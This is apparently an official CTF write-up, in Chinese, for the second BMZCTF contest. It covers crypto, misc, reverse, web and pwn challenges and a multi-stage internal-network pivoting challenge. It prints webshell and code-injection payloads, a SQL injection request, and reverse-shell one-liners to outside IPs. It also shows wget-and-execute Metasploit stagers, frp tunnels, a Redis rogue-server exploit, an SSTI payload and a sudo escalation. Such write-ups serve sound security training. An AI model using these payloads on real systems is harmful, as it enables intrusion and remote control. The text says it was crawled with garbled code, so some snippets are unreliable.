第二届“BMZCTF”网络安全公开赛官方题解
来自
网址
题解最初发布在知识星球,这个网址里是爬虫爬的(我猜),所以有些乱码这里进行部分“更正”(必有错误,观其大概即可),以方便大家学习
也可以选择加入BMZ的知识星球
CRYPTO
签到题
hex解密 -> 两次base64 解密 -> 一次base32解密
simple
- 爆破zip文件,得到解压密码2022go
- base64解密key.txt,得到密钥babyhappy
- 利用UE 查看图片内容,在结尾发现一串字符U2FsdGVkX1+IHXoYmwwOhhOsI9mQ2pVFoGA91Ix/58JMsg==
- 经过尝试分析是RC4 解密,得到结果是flag{You_Guess_It}
do_you_nkow_it
latex符号,将所有符号打出来后取第一个字母连起来就是flag,使用vscode的latex插件可以直接手点出来。
1 | flag{Play_with_LaTeX} |
MISC
easy_misc
what
文件开头并不是什么类型的文件头
文件尾发 现端倪, RIFF、 WAVE、fmt
等字样,很明显这是 wav
文件的文件头
用Python简单处理、反转字节流数据等到正确的wav文件
1 | from binascii import * |
得到的wav文件使用 Audacity
分析
通过分析不难发现,每一帧高低频区别明显,高频在一定的范围内,低频也在一定的范围内
Python wav模块文档:https://docs.python.org/zh-cn/3/library/wave.html#module-wave
1
2
3
4
5
6
7
8
9
10
11
12
13
14
首先来简单分析下振幅的规律
```python
import wave
obj = wave.open('data.wav', 'r')
frames = obj.getnframes()
print("All Frames: {}".format(frames))
frames_data = obj.readframes(20).hex()#提取出前20帧的数据
for i in range(0, len(frames_data), 4):
data = frames_data[i:i+4]
real_data = int(data[2:] + data[:2], 16)
data1 = data[2:] + data[:2]
print("第{:<2}帧: {} => {} 真实数据值: {}".format(int((i+4)/4), data,data1 , real_data))
提取出来的每一帧的数据大小为 两字节
,且存储方式为 小端存储
,所以需要高字节位和低字节位换一下,然后转换成数值
先分析正振幅的数据值,通过多次尝试分析,基本就可以确认高振幅范围为: 30000-32000
,低振幅范围为: 18000-20000
PS:分析高低振幅取值范围可以提升提取出来的帧数来进行更精确的判断
而负振幅数据无论高振幅还是低振幅,为什么都看起来都不在这个范围之内呢,明明从Audacity
中观察到的波形的高低范围和正振幅范围都应该是一样的,而得到的数值确大相径庭呢?
我们知道如果是 带符号的2字节整型
的取值范围是: [-2^(15)] ~ [2^(15)-1]
也就是 -32768至32767之间
那么就能解释负振幅数据的问题了,很明显发生了溢出;需要对数值进行一个转换处理即可得到在范围内的正常的数据
1 | import math |
OK,这样就解决了负振幅数据转换的问题 接下来就直接使用Python简单处理,将高低振幅转换成二进制数据即可;然后将得到的二进制数据写成字节流转成文件
1 | import wave, math, struct |
到一张PNG图片,从 binwalk
分析来看,文件尾附加了内容
附加内容直接看不出来什么,尝试对图片分析,发现存在无密码的LSB隐写
1 | hint: xor [00-ff] which one? |
提示异或一个范围内的一个值,即可猜测附加的数据是经过异或的;可以尝试提取开头的几个字节进行异或看看结果是否为常见文件类型的文件头;Python简单处理即可
1 | head_bytes = 'F6 2F 31 38' |
从结果中可以发现出现了PNG文件头
将附加数据提取出来,使用 010 Editor
打开 工具->十六进制运算->二进制异或
二维码,扫描即可得到flag
1 | BMZCTF{755f3d5c-4817-4610-a377-68743f09e60a} |
游戏秘籍
图片后面接了一个压缩包。但标识位的顺序错了。按504B0304…504B0102….504B0506的顺序调整,即可得到正确的压缩包。
密码:
查看图片IDAT后面的CRC,拼接起来。得到:```
1 | The_Hint_is:`U1kkgG:VbDE3[1oy[1Ee`DEy`0ghSzF>>>> |
后面CRC是乱码,将CRC的16进制拼起来,得到: E4B88AE99DA2E5AD97E7ACA6E4B8B2E5BC82E68896E99BB6E58F89E99BB6E4B889E784B6E5908EE59CA8424153453634E8A7A3E7A081E38082
hex转字符串得到: 上面字符串异或零叉零三然后在BASE64解码
。得到密码: What?That_is_a_passwd?!
flag
解压后:是一个文本,用MD阅读软件打开,使用math方法,得到矩阵,并发现有零宽字节隐写。解密后为25*25的矩阵。每行按 上上下下左左右右ABAB
的顺序排列就得到正确的矩阵。再按1涂黑,0涂白,得到二维码。扫码即行flag
1 | BMZCTF{y0u_f1nd_the_4l@g} |
temperature
根据题目给出的plc梯形图,可以确定温度变送器的量程为0-100℃,裸数据的上、下限为6400-32000,从而确定产品型号为西门子200,后面计算时会用到。
Encrypted.txt为plc采集上来的温度裸数据值的加密值,范围为6400<=加密数据<=32000,先对Encrypted.txt加密数据进行解密。
- 先对数据进行base91解密
- 再进行base85解密
- 再进行16进制解码
- 解码后为66974超出裸数据最大范围,判断为简单的数字替换编码,进行ROT5解码,最后结果为11429
标准电信号是 A0—Am(如:4—20mA), A/D 转换后数值为 D0—Dm(如:6400—32000),设模拟量的标准电信号是 A,A/D 转换后的相应数值为 D,由于是线性关系,
函数关系 A=f(D)可以表示为数学方程:A=(D-D0)×(Am-A0)/(Dm-D0)+A0。根据该方程式,可以方便地根据 D 值计算出 A 值。将该方程式逆变换,得出函数关系 D=f(A)可以表示为数学方程:
D=(A-A0)×(Dm-D0)/(Am-A0)+D0
根据公式D = (温度变送器上限-下限)×(采集数据-裸数据下限)/(电流上限-电流下限)+温度变送器下限,可直接计算出真实温度值
1 | import hashlib |
根据数模转转换公式最后求得flag为:
1 | flag{32953271ae52e2a652b4dff491dd6aa0} |
流量分析
1、根据题目要求,操作人员在scada系统上对一台设备进行了远程启动,请数据包信息找出发送的启动信息的数值。
2、一般远程控制大部分用tcp/ip或modbus协议,我们直接过滤modbus协议:找到写命令或是直接用modbus.func_code == 6找到写命令
0051进行16进制到10进制解码得到81
再对81进行md5得到flag值43ec517d68b6edd3015b3edc9a11367b
hard_misc
首先下载附件
使用volatility查看内存中的粘贴板发现存在URL
并且在进程中发现了notepad.exe
dump notepad.exe内存到1380.dmp
使用strings命令发现密码password
1 | strings 1380.dmp| grep -i "password"…… |
打开链接后发现是图片隐写
使用Python的Pillow库进行图片解析,发现RGB的值只有R和G是随机值,B为0或255
提取所有B的值并转换为二进制(255为1时0为0,0为1时255为0)
可以看到转换后的值存在一定规律,猜测为Manchester Encoding(曼切斯特编码)
解码后成功获取到原始二进制数据
转换为ASCII编码后获取到base64编码的字符串
1 | UmFyIRoHAQBfZrcbIQQAAAEPfcLH49GPyiSQWUvfPyBHjeg7+R0f0FXFnfecVDfBeSCQ6ey4AO/8o1skWuo/7WfC3f3iB67CTeFvPGysBBX90iGgCVpWB6pNE/yuhoY87FdolPm6gDEKQyQuRu2tmXVyNDsb5GpKb9jb3y4o3kgAX6hiZ+b+awAw/BP36gOD5bZuDHi02rsR+5iWXasXurpI3GOmrWF+pIXDobO1qa3dOi5Exp1Czt2S8BQ+XYqbEDKvh6goVLaENeiHq4rx6EF/j5r8/+gC9u9n+848lgCvHYcNH34A/PcIUGXS6LnmIAFu67zQKuHkIWq1nIVognt/oDpfPUrLe8VfdIj17m1BjxvkmsHn9uwlGoivc8c6iv0j46pRDKrzmLmYowfwmll/L7l/g/Y1snSjjVhXvR8oCzDO8EjnNqiwXerarLfHDq+6FMZW2M3/3VRe3a8= |
解码后通过文件头发现该文件格式为RAR
使用notepad获取到的密码进行解密
打开文件即可获取flag,flag{2ac505ffb2c5deab71d242ec4af148c9}
REVERSE
check in
32位程序,主要流程在LPL中
直接z3
1 | from z3 import * |
bmzre
去花指令
这里是因为ida对call函数的分析出了错误,这里的花指令将call函数当jmp使用,没有retn,只有一个add esp 4来维持堆栈平衡,直接上脚本去花
1 | import idautils |
flag的长度为32位
将flag分成两段,分别通过两个函数去检查
第一个检查函数,考察负数的表示方法和使用
对输入的字符进行-109操作,这里考察了char类型
一个字节的范围是 0x00-0xff
char类型强制类型转化的话可以看作有符号整数
这里所比较的字符串为负数 所以写脚本的时候需要+0x100
1 | m=[0xc8,0xf4,0xf5,0xc7,0xc5,0xc3,0xf9,0xc6,0xf7,0xcb,0xc8,0xc7,0xca,0xf8,0xc3,0xc4] |
第二个检查函数考察了古典密码的替换类型,简单的替换
key是2103
没四个字符为一组,以key=2103的方式进行替换
1 | flagbmz{5ab420f3d8547e01a1846a15db0209e6} |
WEB
easyphp
1给了源码!审计一下:
1 | if(isset($_GET['re'])){ file_put_contents("./config.php",base64_decode("PD9waHAKJExBTkdbJ21lbWJlcl9tYW5hZ2UnXSA9ICdhZG1pbic7Cj8+Cg=="));} |
发现re可以给config赋值!
1 | $LANG['member_manage'] = 'admin';? |
这有什么用呢!
我们本地测试一下:
第一次:
1 | Sudo=1info[name]=1&no1=1’ |
写入config里的内容是
1 | $LANG['1'] = ‘1’’; |
第二次请求:
发送与第一次相同的 POST 请求
require $file;
引入语言文件得到 $LANG[$key]
的值是 string(2) "1'"
,也就是说,没有反斜杠,这样问题就出现了,我们同样的请求发送了两次,按照代码逻辑来看,是不应该更新 $LANG[$key] 的值的
但是因为 require 和 file_get_contents 函数读取之后的文件内容不含反斜杠,而我们 POST 传入的 language 会被转义处理得到的值是 string(3) "1'"
于是判断 $LANG[$key]!=$_POST['language']
就成立了,接着 str_replace 函数进行字符串替换操作,把原来的 $LANG['1'] = '1'';
中的 1’ 替换成 1’,最终写入文件
最后文件内容变成:
1 | $LANG['1'] = ‘1’’; |
知道上面的知识点:就可以写shell了!
1 | Sudo =1&info[name]=member_manage&no1='?>echo 111111;@eval($_POST[upload]); |
easy_java
1.抓包,发现fastjson格式。
2.探测fastjson版本为:1.2.68
3.使用fast_json_rce辅助进行rce或者getshell
zbl og-scshop
扫描目录发现web.zip,robots.txt存在zblog目录
scshop前台存在sql注入,这里利用订阅处的一个sql
1 | POST /Core/Program/Ant_Rponse.php?actions=SubNewsletter&lgid=1 HTTP/1.1Host: ctf.bmzclub.cn:9932User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestContent-Length: 49Origin: http://ctf.bmzclub.cn:9932Connection: closeReferer: http://ctf.bmzclub.cn:9932/e_ml=aaaa%40qq.com&e_couid=1*&e_coucode=SEMCMS |
得到zblog管理员账号WHTadmin
访问
1 | http://ctf.bmzclub.cn:9932/zblog/zb_system/login.php |
WHTadmin/admin888登陆zblog后台
审计可以发现在新建插件的地方,app_name的参数未进行严格过滤,导致可以写入恶意代码进行代码执行
构造
1 | POST /zblog_scshop/zblog/zb_users/plugin/AppCentre/plugin_edit.php HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 503Origin: http://127.0.0.1Connection: closeReferer: http://127.0.0.1/zblog_scshop/zblog/zb_users/plugin/AppCentre/plugin_edit.phpCookie: timezone=8; username_b120b784=WHTadmin; token_b120b784=222e898db7b62a172da21c151c98e702d5b4b05bd05f10f83af06474e3f46fed1641208909; addinfozblog_scshopzblog=%7B%22chkadmin%22%3A1%2C%22chkarticle%22%3A1%2C%22levelname%22%3A%22%5Cu7ba1%5Cu7406%5Cu5458%22%2C%22userid%22%3A%221%22%2C%22useralias%22%3A%22WHTadmin%22%7D; http304ok=1; PHPSESSID=t5oq8rrpgtle43pr0fi2q92kma; timezone=8Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1token=cb9f630545b265fca60f25c85362905b&app_id=aaaaaa&app_name=';phpinfo();system($_GET[1]);//&app_url=&app_note=&app_adapted=172960&app_version1=1&app_version2=0&app_version3=&app_pubdate=2021-12-31&app_modified=2021-12-31&app_author_name=WHTadmin&app_author_email=null%40null.com&app_author_url=&app_path=main.php&app_include=include.php&app_level=1&app_phpver=5.2&app_price=0&app_advanced_dependency=&app_advanced_conflict=&app_advanced_rewritefunctions=&app_advanced_existsfunctions=&app_description= |
去插件中心启用
访问
1 | /zblog/zb_users/plugin/aaaaaa/main.php |
PWN
exp:
1 | #coding:utf-8 |
CFS
flag1
通过搜索可以发现源码 https://mp.weixin.qq.com/s/_RXDeXRTLf-hRWEaV2UCiw
1 |
|
审计可知存在任意命令执行
反弹shell
1 | bash -c "bash -i >& /dev/tcp/116.62.104.172/6666 0>&1" |
得到flag1
flag2
上线msf
1 | msf6 |
1 | wget -qO c3hGHQTr --no-check-certificate http://81.69.27.32:8080/3qKxgRC; chmod +x c3hGHQTr; ./c3hGHQTr& disown |
使用
1 | run get_local_subnets |
查看该机器的网段
添加路由
1 | run autoroute -s 172.19.3.0/24 |
上传TailorScan进行内网扫描
1 | upload /CyzCc/tools/TailorScan/TailorScan_linux_amd64 /tmp |
1 | ./TailorScan_linux_amd64 portscan 172.19.3.0/24 tcp |
172.19.3.2:80为入口点机器,172.19.3.3:8080为一个cas
上传frp
frpc.ini
1 | frpc.ini[common]server_addr = 81.69.27.32server_port = 7000[socks1]type = tcpremote_port = 6789plugin = socks5 |
frps.ini
1 | [common]bind_port = 7000vhost_http_port = 10080vhost_https_port = 10443allow_ports = 1000-50000 |
该版本存在命令执行
漏洞利用
flag3
反弹shell
1 | bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTYuNjIuMTA0LjE3Mi82NjY2IDA+JjE=}|{base64,-d}|{bash,-i} |
上线msf
1 | wget -qO c3hGHQTr --no-check-certificate http://81.69.27.32:8080/3qKxgRC; chmod +x c3hGHQTr; ./c3hGHQTr& disown |
使用
1 | run get_local_subnets |
查看该机器的网段
上传TailorScan进行内网扫描
1 | upload /CyzCc/tools/TailorScan/TailorScan_linux_amd64 /tmp |
1 | ./TailorScan_linux_amd64 portscan 172.24.6.0/24 tcp |
内网存在一个mysql服务,并且也存在80端口,所以可以尝试从cas那台机器读取账号密码进行登陆,尝试写shell
1 | cat /cas-overlay/target/cas/WEB-INF/deployerConfigContext.xml |
登陆数据库
将3306转发出来
1 | portfwd add -l 3308 -p 3306 -r 172.24.6.2 |
简单查看数据库信息可以看到疑似ssh账号密码的内容
1 | ssh | BMZCTFer_s_p@asswd | BMZCTFer |
这里发现可以进行读写文件,由于账号权限为低权限用户,所以udf提权失败,尝试找网站绝对路径进行写shell,访问80端口发现是apache服务
尝试读取apache配置文件
1 | select load_file ("/etc/apache2/sites-enabled/000-default.conf"); |
找到绝对路径
写马
1 | select "eval($_POST[1]); " into outfile "/var/www/html/WHT/1.php"; |
将80端口转发出来
1 | portfwd add -l 82 -p 80 -r 172.24.6.2 |
反弹shell
上线msf
1 | wget -qO c3hGHQTr --no-check-certificate http://81.69.27.32:8080/3qKxgRC; chmod +x c3hGHQTr; ./c3hGHQTr& disown |
flag4
使用
1 | run get_local_subnets |
查看该机器的网段
上传TailorScan进行内网扫描
1 | upload /CyzCc/tools/TailorScan/TailorScan_linux_amd64 /tmp |
存在一个redis
将6379端口转发出来
1 | portfwd add -l 6380 -p 6379 -r 172.32.8.3 |
https://github.com/vulhub/redis-rogue-getshell
1 | python3 redis-master.py -r 81.69.27.32 -p 6380 -L 81.69.27.32 -P 1234 -f RedisModulesSDK/exp/exp.so -c "cat /flag/ |
反弹shell
1 | python3 redis-master.py -r 81.69.27.32 -p 6380 -L 81.69.27.32 -P 1234 -f RedisModulesSDK/exp/exp.so -c 'bash -c "bash |
上线msf
1 | echo """f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgAiuFFFGyBRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5<gABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAAB<AAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQ<THJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtI<ipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5> x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==> """| base64 -d > c3hGHQTr |
flag5
使用
1 | run get_local_subnets |
查看该机器的网段
发现redis只有一个网段
上传TailorScan进行内网扫描
1 | upload /CyzCc/tools/TailorScan/TailorScan_linux_amd64 /tmp |
发现172.32.8.2:8000存在一个服务,将其端口转发出来
1 | portfwd add -l 8001 -p 8000 -r 172.32.8.2 |
随便输入名字,发现存在ssti
payload
1 | http://81.69.27.32:8001/?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("cat+/flag/flag5").read()') }} {% endif %} {% endif %} {% endfor %}{% endif %}{% endfor %} |
反弹shell
上线msf
1 | wget -qO c3hGHQTr --no-check-certificate http://81.69.27.32:8080/3qKxgRC; chmod +x c3hGHQTr; ./c3hGHQTr& disown |
flag6
查看ip信息,发现新的网段172.38.10.0/24
上传TailorScan进行内网扫描
1 | upload /CyzCc/tools/TailorScan/TailorScan_linux_amd64 /tmp |
对其进行全端口扫描或者top100
发现内网设备 172.38.10.3
,并仅开放22端口。前面在数据库中看到的用户名密码还没有使用,在这里进行尝试登录:
发现无法登录。将网络代理出来。在本地进行登录:
首先查看当前用户信息,是BMZCTFer
再查看靶机的用户,有BMZCTFer和BMZCTFFLAGer。
再查看/flag文件信息。发现/flag6。只有root可以读取。
我们再查看flag6的ACL权限。
发现BMZCTFFLAGer就可以读取。所以我们要提权到BMZCTFFLAGer。
查看BMZCTFFLAGer家目录。发现 talk.sh
文件。并有可执行权限。
查看文件
看到
1 | $msg 2>/dev/null |
这个是个漏洞。可以利用。
先执行一次。发现没有什么效果。
再查看sudo权限
看到可以不使用密码,就能以BMZCTFFLAGer用户执行talk.sh文件。我们以BMZCTFFLAGer用户执行talk.sh,并在 $msg
处输入 /bin/sh
。
这样我们就得到了BMZCTFFLAGer用户的shell。
最后查看/flag6。我们就得到了flag
最后
因为开头交代的原因,代码的缩紧逻辑有误。
若找到错误,麻烦各方向师傅直接发出更正后的代码(附上题目名称、前后的步骤)